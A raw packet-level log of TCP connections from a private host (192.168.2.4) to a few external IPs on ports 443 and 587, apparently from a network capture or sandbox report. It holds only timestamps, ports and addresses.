Jan 15, 2025 03:37:06.441617966 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441648006 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441658020 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441690922 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441700935 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441709042 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441837072 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.441837072 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.441837072 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.441910982 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.441967964 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.468513966 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.468672991 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.468699932 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.468772888 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.470465899 CET	49760	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.470504045 CET	443	49760	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.470925093 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.471012115 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.471095085 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.471931934 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.471971989 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.625195980 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.625231981 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.625277042 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.626419067 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.626430988 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.662805080 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:06.669657946 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:06.674570084 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:06.792742968 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.793188095 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.793256044 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.793776035 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.794254065 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.794346094 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.794554949 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.801215887 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.801986933 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.802220106 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.808294058 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.808360100 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.808599949 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.808610916 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.809026003 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.809071064 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.809075117 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.809781075 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.809854031 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.809868097 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.809931993 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.810175896 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.810729027 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.810800076 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.810868025 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.810961008 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.811609030 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.811702013 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.811937094 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.811958075 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.812676907 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.812697887 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.839335918 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.855345964 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.857991934 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.857996941 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.879884958 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.880132914 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.880176067 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.883769989 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.884164095 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.884165049 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.884265900 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.884272099 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.927350044 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.938083887 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.938127041 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:06.948227882 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:06.948285103 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:06.948549032 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:06.948549032 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:06.948606014 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:06.984812021 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:06.996196985 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:06.996447086 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:07.001368999 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.018486977 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.018517971 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.018616915 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.018639088 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.018799067 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.019531965 CET	49764	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.019572020 CET	443	49764	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.019848108 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.019864082 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.020755053 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.020755053 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.020776987 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.023410082 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.023590088 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.025388956 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.030528069 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.030611038 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.030661106 CET	49761	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.030672073 CET	443	49761	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.032016039 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.032016039 CET	49772	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.032087088 CET	443	49772	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.071168900 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.071238995 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.071281910 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.071355104 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.071413040 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.071453094 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.071505070 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.082403898 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.082705975 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.082741976 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.084177017 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.084388018 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.084672928 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.084672928 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.084692001 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.084757090 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.091651917 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.091711044 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.091732025 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.091820002 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.091820002 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.091845036 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.091860056 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.092044115 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.097218037 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.097284079 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.097347975 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.097363949 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.097431898 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.097431898 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.114945889 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.114986897 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.115031958 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.115060091 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.115091085 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.115425110 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.135500908 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.135565996 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.135642052 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.135656118 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.135699987 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.135724068 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.136323929 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.136344910 CET	443	49762	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.136393070 CET	49762	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.137075901 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.137125969 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.137711048 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.138014078 CET	49773	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.138061047 CET	443	49773	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.139964104 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.139971972 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.156624079 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.156666040 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.156749010 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.156779051 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.156801939 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.157366037 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.165344954 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165409088 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165431023 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165472984 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165492058 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165507078 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.165512085 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165524960 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.165541887 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.165544987 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.165576935 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.165707111 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.187513113 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.190969944 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.191034079 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.191076040 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.191098928 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.191132069 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.191330910 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.200809956 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.200871944 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.200933933 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.200933933 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.200962067 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.201380968 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.202651978 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.202692986 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.202729940 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.202743053 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.202769995 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.202883005 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.203370094 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.203507900 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.203540087 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.203949928 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.203959942 CET	443	49765	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.203964949 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.203986883 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.204000950 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.204031944 CET	49765	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.204134941 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.205271006 CET	49775	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.205317020 CET	443	49775	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.211546898 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.212021112 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.212028027 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.213485956 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.213593006 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.213915110 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.213989019 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.214086056 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.214092016 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.249871969 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.249937057 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.249979019 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.249998093 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.250030994 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.250385046 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.258512974 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.279105902 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.279160023 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.279201984 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.279225111 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.279249907 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.280180931 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.280740976 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.280787945 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.280823946 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.280833006 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.280859947 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.281088114 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.311120987 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.311173916 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.311300993 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.311326027 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.311429977 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.312710047 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.312769890 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.312817097 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.312834978 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.312869072 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.312907934 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.314671993 CET	49768	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.314713001 CET	443	49768	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.314893961 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.314908981 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.317564011 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.317827940 CET	49776	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.317837000 CET	443	49776	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.325170994 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.338639021 CET	49758	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:07.343381882 CET	587	49758	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:07.367259026 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367360115 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367428064 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.367454052 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367468119 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.367552996 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367594957 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.367604017 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367628098 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.367635965 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.367674112 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.367866993 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.368299007 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.368345022 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.368423939 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.368423939 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.368432999 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.368748903 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.369281054 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.369334936 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.369374990 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.369381905 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.369410992 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.369517088 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.370177984 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.370224953 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.370323896 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.370323896 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.370332003 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.370435953 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.371083975 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.401428938 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.401494026 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.401540995 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.401566982 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.401606083 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.403640985 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.426908970 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.426994085 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.426999092 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.427035093 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.427067995 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.427069902 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.427103996 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.427172899 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.428029060 CET	49767	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.428050041 CET	443	49767	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.428046942 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.428147078 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.428289890 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.429836035 CET	49777	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.429872990 CET	443	49777	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498266935 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498322010 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498342991 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498385906 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498405933 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.498413086 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498420000 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.498487949 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.498487949 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.519628048 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.519767046 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.519798994 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.520042896 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.520123959 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.520123959 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.520128965 CET	443	49769	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.521893978 CET	49769	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.595623016 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.595969915 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.595990896 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.596788883 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.597332954 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.597934008 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.597934008 CET	49770	443	192.168.2.4	148.153.240.68
Jan 15, 2025 03:37:07.597949982 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.598037958 CET	443	49770	148.153.240.68	192.168.2.4
Jan 15, 2025 03:37:07.611011982 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.611218929 CET	49771	443	192.168.2.4	45.63.57.89
Jan 15, 2025 03:37:07.611228943 CET	443	49771	45.63.57.89	192.168.2.4
Jan 15, 2025 03:37:07.611730099 CET	443	49771	45.63.57.89	192.168.2.4
